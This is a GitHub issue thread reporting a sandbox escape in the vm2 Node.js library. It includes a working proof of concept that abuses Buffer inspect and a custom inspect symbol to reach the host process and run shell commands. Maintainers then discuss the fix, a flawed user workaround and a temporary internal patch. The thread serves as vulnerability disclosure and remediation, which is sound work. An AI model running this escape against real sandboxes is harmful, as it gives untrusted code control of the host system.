Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Breakout with inspect #268

Closed
unxcepted opened this issue Mar 1, 2020 · 11 comments
Closed

Breakout with inspect #268

unxcepted opened this issue Mar 1, 2020 · 11 comments

Comments

@unxcepted
Copy link

The following code can be used to escape the vm, and for example execute command in shell.
It has been already reported in #187 here, it still works on node 13.6.0 and vm2 v3.8.4

const {VM} = require('vm2');
const vm = new VM({
	wasm: false,
	timeout: 2000,
	sandbox: {},
	eval: false,
});

const malicious = '(' + function(){
	try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

	let buffer = {
		hexSlice: () => "",
		magic: {
			get [Symbol.for("nodejs.util.inspect.custom")](){
				throw f => f.constructor("return process")();
			}
		}
	};
	try{
		Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
	}catch(e){
		e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
	}
}+')()';
vm.run(malicious)
@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 1, 2020

@patriksimek This issue is fixed in master, however the fix came with #242 which is after version 3.8.4. So mpn does not have this fix.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 1, 2020

This stays open until v3.8.5 is out.

@jan-osch
Copy link

jan-osch commented Mar 2, 2020

Do we have an ETA ?

@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 2, 2020

@jan-osch Since @patriksimek seems to be quite inactive, I don't know.

@jan-osch
Copy link

jan-osch commented Mar 2, 2020

@XmiliaH thank you for your answer and all the contributions!

Do you think that such monkey-patched workaround will prevent the breakout until we have an updated version published?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 2, 2020

@jan-osch Thats not a good soultion:

  1. It forgets the [Symbol.for("nodejs.util.inspect.custom")] key.
  2. It allowes to write to the prototype of the host Buffer.
  3. The problem is that console.log will also trigger this problem and your solution does nothing against that.

Unfortunately there is no easy solution.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 2, 2020

Here is a temporary poorly tested hacky fix:

function hacky_fix(vm) {
	const internal = vm._internal;
	const old = internal.Decontextify.object;
	const handler = {__proto__: null};
	internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
		const value = old(object, traps, deepTraps, flags, mock);
		const better = new Proxy(value, handler);
		internal.Decontextify.proxies.set(object, better);
		internal.Contextify.proxies.set(better, object);
		return better;
	};
}

It patches internal functions, so use with care.

@jan-osch
Copy link

jan-osch commented Mar 4, 2020

Thank you @XmiliaH! Do you know any project with a test suite for such breakout cases? I would like to add some breakout tests to my CI as an early warning system

@XmiliaH
Copy link
Collaborator

XmiliaH commented Mar 4, 2020

We have some testcases in test/vm.js. Just search for attack and you will find the cases.

@mxschmitt
Copy link

mxschmitt commented Mar 18, 2020

friendly reminder @patriksimek would be awesome if you could release a new version.

@patriksimek
Copy link
Owner

@mxschmitt Just released as 3.9.0. I'm sorry for the delay.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants